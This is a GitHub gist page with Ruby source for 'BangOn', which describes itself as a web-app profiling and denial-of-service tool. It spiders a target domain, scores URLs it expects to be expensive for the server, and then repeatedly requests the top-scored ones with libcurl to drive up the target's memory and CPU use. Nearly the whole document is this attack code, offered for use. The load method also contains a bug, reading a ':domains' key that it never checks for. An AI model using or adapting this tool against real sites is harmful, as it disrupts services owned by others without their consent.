Skip to content

Instantly share code, notes, and snippets.

@postmodern
Created June 20, 2009 22:52
Show Gist options
  • Save postmodern/133318 to your computer and use it in GitHub Desktop.
Save postmodern/133318 to your computer and use it in GitHub Desktop.
A web-app profiling and DoS tool.
require 'spidr'
require 'curb'
module Ronin
module Web
#
# "Bang on the bars of the cage which imprisons you. Together, our
# actions can reduce the mightiest of prisons to ruins."
#
# --Anonymous
#
# BangOn is a simple web-app profiling and DoS tool. BangOn can spider
# a web-site, collecting every URL and assigning a score to them.
#
# BangOn can then use libcurl to perform a DoS against the highest
# scored URLs, hopefully causing the targetted web-app to consume
# above average memory and CPU.
#
# BangOn can also dump and load web-site profiles to and from simple
# human readable YAML files.
#
class BangOn
attr_accessor :profile
def initialize(domain)
@domain = domain
@profile = Hash.new { |hash,key| hash[key] = [] }
end
def BangOn.load(path)
path = path.to_s
hash = YAML.load_file(path)
unless hash.kind_of?(Hash)
raise(StandardError,"#{path.dump} must contain a YAML hash",caller)
end
unless (hash[:domain] && hash[:profile])
raise(StandardError,"#{path.dump} must contain the :domain and :profile keys",caller)
end
bang_on = BangOn.new(hash[:domains])
bang_on.profile = hash[:profile]
return bang_on
end
def clear!
@profile.each_value { |urls| urls.clear }
end
def profile!
clear!
Spidr.host(@domain) do |spider|
spider.every_url do |url|
score = score_of(url)
unless score == 0
STDERR.puts "[*] Score #{score}: #{url}"
@profile[score] << url
end
end
end
@profile.rehash
end
def bang_on!
@profile.values.reverse_each do |urls|
urls.each do |url|
Curl::Easy.perform(url.to_s) do |curl|
curl.verbose = false
end
end
end
end
def score_of(url)
# return 0 for root
return 0 if url.path == '/'
# return 0 for static content
return 0 if url.path =~ /\.(htm|html|xhtml|gif|jpg|jpeg|png)/i
total = 0
# profile the path
dirs = url.path.split('/')
dirs.each do |dir|
# +1 for numeric directories, implies RESTful urls
total += 1 if dir =~ /^\d$/
end
if url.query
# enumerate through the query hash
url.query.split('&').each do |name_value|
name, value = name_value.split('=')
# +1 for numeric query params
total += 1 if value =~ /^\d+$/
# +1 for nested-hash query params
total += 1 if name =~ /[a-zA-Z0-9]+\[[^\]]*\]/
end
end
return total
end
def dump(path)
File.open(path,'w') do |file|
YAML.dump({:domain => @domain, :profile => @profile},file)
end
end
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment